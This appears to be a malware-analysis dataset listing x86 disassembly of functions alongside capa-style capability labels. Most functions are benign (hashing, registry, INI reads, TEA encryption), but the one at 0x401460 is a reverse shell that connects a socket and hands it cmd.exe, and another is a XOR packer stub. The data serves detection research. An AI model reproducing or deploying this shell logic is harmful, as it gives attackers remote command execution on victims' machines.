joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d1c0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x1005a750]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 0x78], 0
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x74], 0x67452301
mov dword [ebp - 0x70], 0xefcdab89
mov dword [ebp - 0x6c], 0x98badcfe
mov dword [ebp - 0x68], 0x10325476
call fcn.1000d000
add esp, 4
lea edx, [ebp - 0x74]
lea ecx, [ebp - 0x18]
call fcn.1000d0b0
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 0x10
jb 0x1000d23a
mov eax, dword [esi]
jmp 0x1000d23c
mov eax, esi
lea edx, [ebp - 0x18]
cmp edx, eax
jb 0x1000d286
cmp ecx, 0x10
jb 0x1000d24c
mov edx, dword [esi]
jmp 0x1000d24e
mov edx, esi
mov eax, dword [esi + 0x10]
add eax, edx
lea edx, [ebp - 0x18]
cmp eax, edx
jbe 0x1000d286
cmp ecx, 0x10
jb 0x1000d263
mov eax, dword [esi]
jmp 0x1000d265
mov eax, esi
push 0x10
lea ecx, [ebp - 0x18]
sub ecx, eax
push ecx
push esi
mov ecx, esi
call fcn.100014a0
mov eax, esi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1001a15e
mov esp, ebp
pop ebp
ret
cmp ecx, 0x10
jae 0x1000d297
push dword [esi + 0x10]
mov ecx, esi
push 0x10
call fcn.100018b0
cmp dword [esi + 0x14], 0x10
jb 0x1000d2a1
mov eax, dword [esi]
jmp 0x1000d2a3
mov eax, esi
movdqu xmm0, xmmword [ebp - 0x18]
movdqu xmmword [eax], xmm0
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0x10
jb 0x1000d2bd
mov eax, dword [esi]
jmp 0x1000d2bf
mov eax, esi
mov ecx, dword [ebp - 8]
mov byte [eax + 0x10], 0
xor ecx, ebp
mov eax, esi
pop esi
call fcn.1001a15e
mov esp, ebp
pop ebp
ret
Function at 0x1000ea90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100465f2
mov eax, dword fs:[0]
push eax
sub esp, 0x818
mov eax, dword [0x1005a750]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ebx, dword [ebp + 0xc]
xor eax, eax
mov dword [ebp - 0x820], 0
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov dword [ebp - 0x824], esi
mov dword [ebp - 0x81c], ebx
mov word [esi], ax
xor edi, edi
mov dword [ebp - 4], eax
mov dword [ebp - 0x820], 1
test ebx, ebx
je 0x1000ebe7
push 0x7fe
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x80e]
push edi
push eax
call fcn.1001ed10
add esp, 0xc
mov dword [ebp - 0x818], edi
lea eax, [ebp - 0x818]
mov dword [ebp - 0x814], edi
push eax
push edi
lea eax, [ebp - 0x814]
push eax
push ebx
push 0x10051a0c
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
mov eax, dword [ebp - 0x814]
cmp eax, 1
je 0x1000eb5f
cmp eax, 2
jne 0x1000ebe7
mov ebx, dword [ebp - 0x818]
test ebx, ebx
je 0x1000ebe7
cmp ebx, 0x800
jbe 0x1000eba0
xor ecx, ecx
mov eax, ebx
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.1001ada0
lea ecx, [ebx + 2]
mov edi, eax
push ecx
push 0
push edi
call fcn.1001ed10
add esp, 0x10
lea eax, [ebp - 0x818]
push eax
push edi
jmp 0x1000ebae
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x810]
push eax
mov eax, dword [sym.imp.SHLWAPI.dll_SHGetValueW]
push 0
push dword [ebp - 0x81c]
push 0x10051a0c
push SysReAllocString
call eax
test edi, edi
lea eax, [ebp - 0x810]
mov ecx, esi
cmovne eax, edi
push eax
call fcn.1000ee70
test edi, edi
je 0x1000ebe7
push edi
call fcn.1001ad68
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001a15e
mov esp, ebp
pop ebp
ret

Function at 0x1000ec10
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa008
call fcn.10035e90
mov eax, dword [0x1005a750]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x5000
lea eax, [ebp - 0xa004]
mov dword [ebp - 0xa008], 0
push eax
push edx
mov esi, ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
test eax, eax
jne 0x1000ec6d
mov word [esi], ax
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001a15e
mov esp, ebp
pop ebp
ret
xor eax, eax
mov word [esi], ax
cmp word [ebp - 0xa004], ax
jne 0x1000ec7f
xor ecx, ecx
jmp 0x1000ec9f
lea ecx, [ebp - 0xa004]
lea edx, [ecx + 2]
jmp 0x1000ec90
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000ec90
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0xa004]
mov ecx, esi
push eax
call fcn.1000f550
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1001a15e
mov esp, ebp
pop ebp
ret
Function at 0x10020851
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x401460
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov ebx, eax
mov eax, 0x7e
mov edi, edx
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1c], str.127.0.0.1
mov word [ebp - 0x1e], 0x3039
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._WSASocketA_24
sub esp, 0x18
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x190], edx
mov eax, dword [ebp + 8]
mov word [eax + 0x194], 2
movzx eax, word [ebp - 0x1e]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov edx, eax
mov eax, dword [ebp + 8]
mov word [eax + 0x196], dx
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x198], edx
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x190]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov edx, dword [ebp + 8]
add edx, 0x194
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._WSAConnect_28
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
add eax, 0x1a4
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp + 8]
mov dword [eax + 0x1a4], 0x44
mov eax, dword [ebp + 8]
mov dword [eax + 0x1d0], 0x100
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x190]
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x1e4], edx
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x1e4]
mov eax, dword [ebp + 8]
mov dword [eax + 0x1e0], edx
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x1e0]
mov eax, dword [ebp + 8]
mov dword [eax + 0x1dc], edx
mov eax, dword [ebp + 8]
add eax, 0x1e8
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 8]
add eax, 0x1a4
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov dword [esp], 0
call sym._exit
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x55c45521
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x2a0b6275
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10005db0
Capabilities:
Create thread

Disassembly:
push ecx
cmp word [0x1000bdc8], 0
push ebx
push ebp
push esi
jne 0x10005e28
lea eax, [esp + 0xc]
push eax
push 0
push 0x1000bdc8
push 0x100075a0
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xea60
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x80
je 0x10005e03
cmp eax, 0x102
jne 0x10005e0c
mov word [0x1000bdc8], 1
jmp 0x10005e0c
mov word [0x1000bdc8], 0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp word [0x1000bdc8], 0
jne 0x10005e28
pop esi
pop ebp
mov ax, 0x68
pop ebx
pop ecx
ret 8
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x10005e3b
pop esi
pop ebp
mov ax, 2
pop ebx
pop ecx
ret 8
push eax
call fcn.100078b0
mov esi, eax
cmp word [esi], 0x7242
je 0x10005e55
pop esi
pop ebp
mov ax, 2
pop ebx
pop ecx
ret 8
test byte [esi + 0x12], 4
jne 0x10005e6c
mov word [esi + 6], 0xb39
pop esi
pop ebp
mov ax, 0x39
pop ebx
pop ecx
ret 8
push 0
call fcn.10008050
mov ebp, eax
test ebp, 0x100
jne 0x10005e7f
xor ebp, ebp
mov eax, dword [esp + 0x18]
lea ecx, [esi + 0x34]
mov dword [esi + 0xc8], ebp
push eax
mov word [0x1000c1e4], ax
push ecx
mov word [esi + 0x30], 8
call fcn.10005f50
xor bl, bl
mov word [esi + 6], 0x403
mov ax, word [esi + 6]
cmp ax, 0x403
je 0x10005eb7
cmp ax, 0x407
jne 0x10005ec7
push esi
mov byte [esi + 0xa], bl
call fcn.10007750
inc bl
cmp bl, 3
jbe 0x10005ea7
mov dl, byte [esi + 6]
and dl, 9
cmp dl, 9
jne 0x10005edd
pop esi
pop ebp
mov ax, 3
pop ebx
pop ecx
ret 8
test ebp, ebp
je 0x10005f39
push edi
mov ebx, dword [esi + 0xc8]
mov edi, ebp
mov eax, ebp
shr edi, 0x10
shl eax, 0x10
or edi, eax
push edi
push 0x90
call fcn.10007100
mov edx, eax
push edi
shr edx, 0x10
push 0x90
mov dword [esp + 0x28], edx
call fcn.10007100
mov ecx, dword [esp + 0x28]
add esp, 0x10
shl eax, 0x10
or ecx, eax
pop edi
cmp ebx, ecx
je 0x10005f39
push ebp
call fcn.10007fd0
cmp ebx, eax
je 0x10005f39
pop esi
pop ebp
mov ax, 3
pop ebx
pop ecx
ret 8
mov dx, word [esi + 6]
push edx
call fcn.10005c80
pop esi
pop ebp
pop ebx
pop ecx
ret 8

Function at 0x10006370
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 4]
push esi
test eax, eax
jne 0x10006381
mov ax, 2
pop esi
ret 0x1c
push eax
call fcn.100078b0
mov esi, eax
cmp word [esi], 0x7242
je 0x10006398
mov ax, 2
pop esi
ret 0x1c
test byte [esi + 0x12], 4
jne 0x100063ac
mov word [esi + 6], 0xb39
mov ax, 0x39
pop esi
ret 0x1c
mov al, byte [esp + 0x20]
cmp al, 7
je 0x100063c0
cmp al, 3
jbe 0x100063c0
mov ax, 6
pop esi
ret 0x1c
mov cx, word [esp + 0x18]
mov dx, word [esp + 0x1c]
mov word [esi + 0x34], cx
mov cx, word [esp + 0xc]
mov word [esi + 0x36], dx
mov dx, word [esp + 0x10]
mov word [esi + 0x3a], cx
mov cx, word [esp + 0x14]
push esi
mov word [esi + 0x30], 0xe
mov word [esi + 0x3c], dx
mov word [esi + 0x3e], cx
mov byte [esi + 0x38], al
call fcn.10007750
mov dx, word [esi + 6]
push edx
call fcn.10005c80
cmp ax, 0xc
jne 0x10006414
mov ax, 3
pop esi
ret 0x1c
mov ax, word [esi + 6]
push eax
call fcn.10005c80
cmp ax, 9
jne 0x1000642c
mov ax, 3
pop esi
ret 0x1c
mov cx, word [esi + 6]
push ecx
call fcn.10005c80
pop esi
ret 0x1c
Function at 0x100064e0
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 4]
push esi
test eax, eax
jne 0x100064f1
mov ax, 2
pop esi
ret 0x14
push eax
call fcn.100078b0
mov esi, eax
cmp word [esi], 0x7242
je 0x10006508
mov ax, 2
pop esi
ret 0x14
test byte [esi + 0x12], 4
jne 0x1000651c
mov word [esi + 6], 0xb39
mov ax, 0x39
pop esi
ret 0x14
mov ax, word [esp + 0x18]
mov cx, word [esp + 0xc]
mov dx, word [esp + 0x10]
mov word [esi + 0x34], ax
mov ax, word [esp + 0x14]
push esi
mov word [esi + 0x30], 0xf
mov word [esi + 0x3a], cx
mov word [esi + 0x3c], dx
mov word [esi + 0x3e], ax
call fcn.10007750
mov cx, word [esi + 6]
push ecx
call fcn.10005c80
cmp ax, 0xc
jne 0x10006564
mov ax, 3
pop esi
ret 0x14
mov dx, word [esi + 6]
push edx
call fcn.10005c80
cmp ax, 9
jne 0x1000657c
mov ax, 3
pop esi
ret 0x14
mov ax, word [esi + 6]
push eax
call fcn.10005c80
pop esi
ret 0x14

Function at 0x10007100
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ecx, edx
xor ebx, ebx
push esi
mov eax, edx
shr ecx, 8
mov bh, dl
mov edx, dword [esp + 0xc]
push edi
and eax, 0xffff0000
mov edi, ecx
and edx, 0xff
shl eax, 8
and edi, 0xff0000
add edx, 0xffffff70
xor esi, esi
or eax, edi
mov bl, cl
cmp edx, 3
mov ecx, ebx
ja case.default.0x10007143
jmp dword [edx*4 + 0x10007264]
mov edi, 0x20
mov edx, eax
shr edx, 0xd
and edx, 1
mov ebx, edx
xor edx, ecx
shl ebx, 0x1f
shr esi, 1
shl edx, 0x1f
shr eax, 1
or esi, ebx
or edx, eax
shr ecx, 1
dec edi
mov eax, edx
jne 0x1000714f
jmp case.default.0x10007143
mov edx, 0x20
mov edi, eax
mov ebx, ecx
and edi, 0xffff0000
shl edi, 0xf
shr esi, 1
or esi, edi
mov edi, eax
and edi, 0xfffff000
shl ebx, 0xc
xor edi, ebx
mov ebx, eax
shl edi, 8
and ebx, 0xfff00000
xor edi, ebx
shl edi, 0xb
shr eax, 1
or eax, edi
shr ecx, 1
dec edx
jne 0x1000717a
jmp case.default.0x10007143
push ebp
mov edi, 0x20
mov edx, ecx
mov ebp, eax
and edx, 1
and ebp, 0xfff80000
mov ebx, edx
shl ebx, 0x13
xor ebx, ebp
shl ebx, 0xc
shr esi, 1
or esi, ebx
mov ebx, eax
and bl, 0
shl edx, 8
xor ebx, edx
mov edx, eax
shl ebx, 0xf
and edx, 0xff800000
xor ebx, edx
shl ebx, 8
shr eax, 1
or eax, ebx
shr ecx, 1
dec edi
jne 0x100071bc
pop ebp
jmp case.default.0x10007143
mov edx, 0x20
mov edi, eax
mov ebx, ecx
and edi, 0xfffff800
shl ebx, 0xb
xor edi, ebx
mov ebx, eax
shl edi, 5
and ebx, 0xffff0000
xor edi, ebx
mov ebx, ecx
shl edi, 0xf
shr esi, 1
or esi, edi
mov edi, eax
and edi, 0xffffff80
shl ebx, 7
xor edi, ebx
mov ebx, eax
shl edi, 0x12
and ebx, 0xfe000000
xor edi, ebx
shl edi, 6
shr eax, 1
or eax, edi
shr ecx, 1
dec edx
jne 0x10007202
mov eax, esi
mov ecx, esi
and eax, 0xff00
pop edi
shl ecx, 0x10
or eax, ecx
shl eax, 8
shr esi, 0x10
or eax, esi
pop esi
pop ebx
ret
Function at 0x10008350
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
push edi
mov edi, dword [esi + 0xc]
mov edx, 0xc6ef3720
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x10], edi
mov edi, dword [esi + 8]
mov dword [esp + 0x24], edi
mov edi, dword [esi + 4]
mov esi, dword [esi]
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], esi
mov edi, 0x20
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x10]
mov esi, ecx
shl esi, 4
add esi, ebx
mov ebx, ecx
shr ebx, 5
add ebx, ebp
mov ebp, dword [esp + 0x18]
xor esi, ebx
lea ebx, [edx + ecx]
xor esi, ebx
mov ebx, dword [esp + 0x14]
sub eax, esi
mov esi, eax
shl esi, 4
add esi, ebx
mov ebx, eax
shr ebx, 5
add ebx, ebp
xor esi, ebx
lea ebx, [edx + eax]
xor esi, ebx
add edx, 0x61c88647
sub ecx, esi
dec edi
jne 0x10008389
mov edx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov dword [edx], ecx
mov dword [edx + 4], eax
pop ebx
add esp, 0xc
ret 8

Function at 0x10008430
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push edi
mov edi, dword [esi + 4]
xor edx, edx
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [esp + 0x10], edi
mov edi, dword [esi]
mov dword [esp + 0x24], edi
mov edi, dword [esi + 0xc]
mov esi, dword [esi + 8]
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], esi
mov edi, 0x20
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x10]
mov esi, ecx
sub edx, 0x61c88647
shl esi, 4
add esi, ebx
mov ebx, ecx
shr ebx, 5
add ebx, ebp
mov ebp, dword [esp + 0x18]
xor esi, ebx
lea ebx, [edx + ecx]
xor esi, ebx
mov ebx, dword [esp + 0x14]
add eax, esi
mov esi, eax
shl esi, 4
add esi, ebx
mov ebx, eax
shr ebx, 5
add ebx, ebp
xor esi, ebx
lea ebx, [edx + eax]
xor esi, ebx
add ecx, esi
dec edi
jne 0x10008466
mov edx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov dword [edx], eax
mov dword [edx + 4], ecx
pop ebx
add esp, 0xc
ret 8
Function at 0x10008960
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x40
push ebx
mov bx, word [esp + 0x48]
push esi
mov esi, dword [esp + 0x50]
cmp bx, 4
mov word [esi], 0
jbe 0x10008983
pop esi
xor al, al
pop ebx
add esp, 0x40
ret 8
lea eax, [esp + 0x28]
push 0x10
push eax
call fcn.10008650
lea ecx, [esp + 0x38]
push 0x10
push ecx
call fcn.100086a0
lea edx, [esp + 0x18]
push 0x10
push edx
call fcn.10008740
lea eax, [esp + 0x18]
add bl, 0x31
push eax
call fcn.10007960
and eax, 0xffff
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0xc]
mov byte [esp + eax + 0x1c], bl
push 0x10
push edx
lea eax, [esp + 0x24]
push 0x1000bdd4
lea ecx, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x10008a33
lea edx, [esp + 8]
push 0x2c
push edx
call fcn.10008930
test ax, ax
je 0x100089fd
and eax, 0xffff
mov byte [esp + eax + 8], 0
cmp byte [esp + 8], 0x30
jne 0x10008a1f
mov al, byte [esp + 9]
and al, 0xdf
cmp al, 0x58
jne 0x10008a1f
lea ecx, [esp + 0xa]
push esi
push ecx
call fcn.10007a70
test al, al
jne 0x10008a33
jmp 0x10008a2e
lea edx, [esp + 8]
push esi
push edx
call fcn.100079d0
test al, al
jne 0x10008a33
mov word [esi], 0
mov ax, word [esi]
test ax, ax
je 0x10008a4e
cmp ax, 0xffff
je 0x10008a4e
pop esi
mov eax, 1
pop ebx
add esp, 0x40
ret 8
pop esi
xor eax, eax
pop ebx
add esp, 0x40
ret 8

Function at 0x10008a60
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x40
push ebx
mov bx, word [esp + 0x48]
push esi
mov esi, dword [esp + 0x50]
cmp bx, 4
mov word [esi], 0
jbe 0x10008a83
pop esi
xor al, al
pop ebx
add esp, 0x40
ret 8
lea eax, [esp + 0x28]
push 0x10
push eax
call fcn.10008650
lea ecx, [esp + 0x38]
push 0x10
push ecx
call fcn.100086a0
lea edx, [esp + 0x18]
push 0x10
push edx
call fcn.10008740
lea eax, [esp + 0x18]
add bl, 0x31
push eax
call fcn.10007960
and eax, 0xffff
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0xc]
mov byte [esp + eax + 0x1c], bl
push 0x10
push edx
lea eax, [esp + 0x24]
push 0x1000bdd4
lea ecx, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x10008b2e
lea edx, [esp + 8]
push 0x2c
push edx
call fcn.10008930
test ax, ax
je 0x10008b2e
and eax, 0xffff
mov cl, byte [esp + eax + 9]
and cl, 0xdf
cmp cl, 0x54
jne 0x10008b2e
cmp byte [esp + eax + 0xa], 0x3a
jne 0x10008b2e
lea edx, [esp + eax + 0xb]
push esi
push edx
call fcn.100079d0
test al, al
je 0x10008b29
mov ax, word [esi]
cmp ax, 1
jl 0x10008b29
cmp ax, 7
jle 0x10008b2e
mov word [esi], 0
xor eax, eax
cmp word [esi], ax
pop esi
pop ebx
setne al
add esp, 0x40
ret 8
Function at 0x10008b40
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x50
lea eax, [esp]
push esi
push 0x10
push eax
call fcn.10008650
lea ecx, [esp + 0x24]
push 0x10
push ecx
call fcn.100086a0
lea edx, [esp + 0x14]
push 0x10
push edx
call fcn.10008800
lea eax, [esp + 0x44]
push 0x10
push eax
call fcn.100087c0
lea ecx, [esp + 4]
lea edx, [esp + 0x34]
push ecx
push 0x10
push edx
lea eax, [esp + 0x20]
push 0x1000bdd4
lea ecx, [esp + 0x34]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, eax
test esi, esi
je 0x10008bb0
lea edx, [esp + 0x34]
lea eax, [esp + 0x44]
push edx
push eax
call fcn.10007810
mov ecx, dword [esp + 0x5c]
mov byte [ecx], al
xor eax, eax
test esi, esi
setne al
pop esi
add esp, 0x50
ret 8

Function at 0x10008bc0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x30
lea eax, [esp]
push 0x10
push eax
call fcn.10008650
lea ecx, [esp + 0x20]
push 0x10
push ecx
call fcn.100086a0
lea edx, [esp + 0x10]
push 0x10
push edx
call fcn.10008780
lea eax, [esp]
lea ecx, [esp + 0x10]
push eax
push 0
lea edx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
xor edx, edx
mov ecx, dword [esp + 0x34]
test eax, eax
setne dl
mov word [ecx], ax
mov al, dl
add esp, 0x30
ret 4

Function at 0x10008c20
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x70
lea eax, [esp]
push esi
mov esi, dword [esp + 0x78]
push 0x10
push 0
push eax
mov word [esi], 0
call fcn.10007980
lea ecx, [esp + 0x14]
push 0x10
push ecx
call fcn.10008650
lea edx, [esp + 0x34]
push 0x10
push edx
call fcn.100086a0
lea eax, [esp + 0x24]
push 0x10
push eax
call fcn.100086f0
lea ecx, [esp + 0x44]
push 0x10
push ecx
call fcn.10008850
lea edx, [esp + 0x54]
push 0x10
push edx
call fcn.100088e0
lea eax, [esp + 0x64]
push 0x10
push eax
call fcn.100088a0
lea ecx, [esp + 0x14]
lea edx, [esp + 4]
push ecx
push 0x10
push edx
lea eax, [esp + 0x30]
push 0x1000bdd4
lea ecx, [esp + 0x44]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x10008d0e
lea edx, [esp + 0x44]
lea eax, [esp + 4]
push edx
push eax
call fcn.10007810
test al, al
je 0x10008ccf
xor eax, eax
mov word [esi], 2
cmp word [esi], ax
pop esi
setne al
add esp, 0x70
ret 4
lea ecx, [esp + 0x54]
lea edx, [esp + 4]
push ecx
push edx
call fcn.10007810
test al, al
je 0x10008cf6
xor eax, eax
mov word [esi], 3
cmp word [esi], ax
pop esi
setne al
add esp, 0x70
ret 4
lea eax, [esp + 0x64]
lea ecx, [esp + 4]
push eax
push ecx
call fcn.10007810
test al, al
je 0x10008d0e
mov word [esi], 1
xor eax, eax
cmp word [esi], ax
pop esi
setne al
add esp, 0x70
ret 4
Function at 0x10008d60
Capabilities:
Check if file exists

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x10
lea ecx, [esp]
push esi
push eax
push ecx
call fcn.10008d20
push 0
push 0x80
push 3
push 0
push 3
lea edx, [esp + 0x18]
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov esi, dword [esp + 0x18]
mov dword [esi], eax
jne 0x10008dcf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jb 0x10008db6
cmp eax, 3
ja 0x10008db6
mov ax, 0x20c
pop esi
add esp, 0x10
ret 8
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x10008dc4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ax, 0x20b
pop esi
add esp, 0x10
ret 8
mov ax, 0x200
pop esi
add esp, 0x10
ret 8

Function at 0x10008de0
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x10
mov al, 0x5c
push esi
mov byte [esp + 4], al
mov byte [esp + 5], al
mov byte [esp + 7], al
push 0
mov al, 0x6e
push 0x80
push 3
mov byte [esp + 0x15], al
mov byte [esp + 0x17], al
push 0
push 3
lea eax, [esp + 0x18]
push 0xc0000000
push eax
mov byte [esp + 0x22], 0x2e
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x29], 0x55
mov byte [esp + 0x2a], 0x73
mov byte [esp + 0x2b], 0x62
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov esi, dword [esp + 0x18]
mov dword [esi], eax
jne 0x10008e80
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jb 0x10008e67
cmp eax, 3
ja 0x10008e67
mov ax, 0x20c
pop esi
add esp, 0x10
ret 8
mov esi, dword [esi]
cmp esi, 0xffffffff
je 0x10008e75
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ax, 0x20b
pop esi
add esp, 0x10
ret 8
mov ax, 0x200
pop esi
add esp, 0x10
ret 8